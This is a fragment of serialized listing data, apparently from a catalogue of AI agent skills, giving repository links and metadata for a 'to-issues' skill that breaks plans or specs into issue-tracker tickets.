decision.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftrade-decision-sim\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":77},"01M73HBN2WTKGN790WYQD6GBM4","to-issues","Break a plan, spec, or PRD into independently-grabbable issues on the project issue tracker using tracer-bullet vertical slices. Use when user wants to convert a plan into issues, create implementation tickets, or break down work into issues.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fto-issues\u002FSKILL.md",[],[]]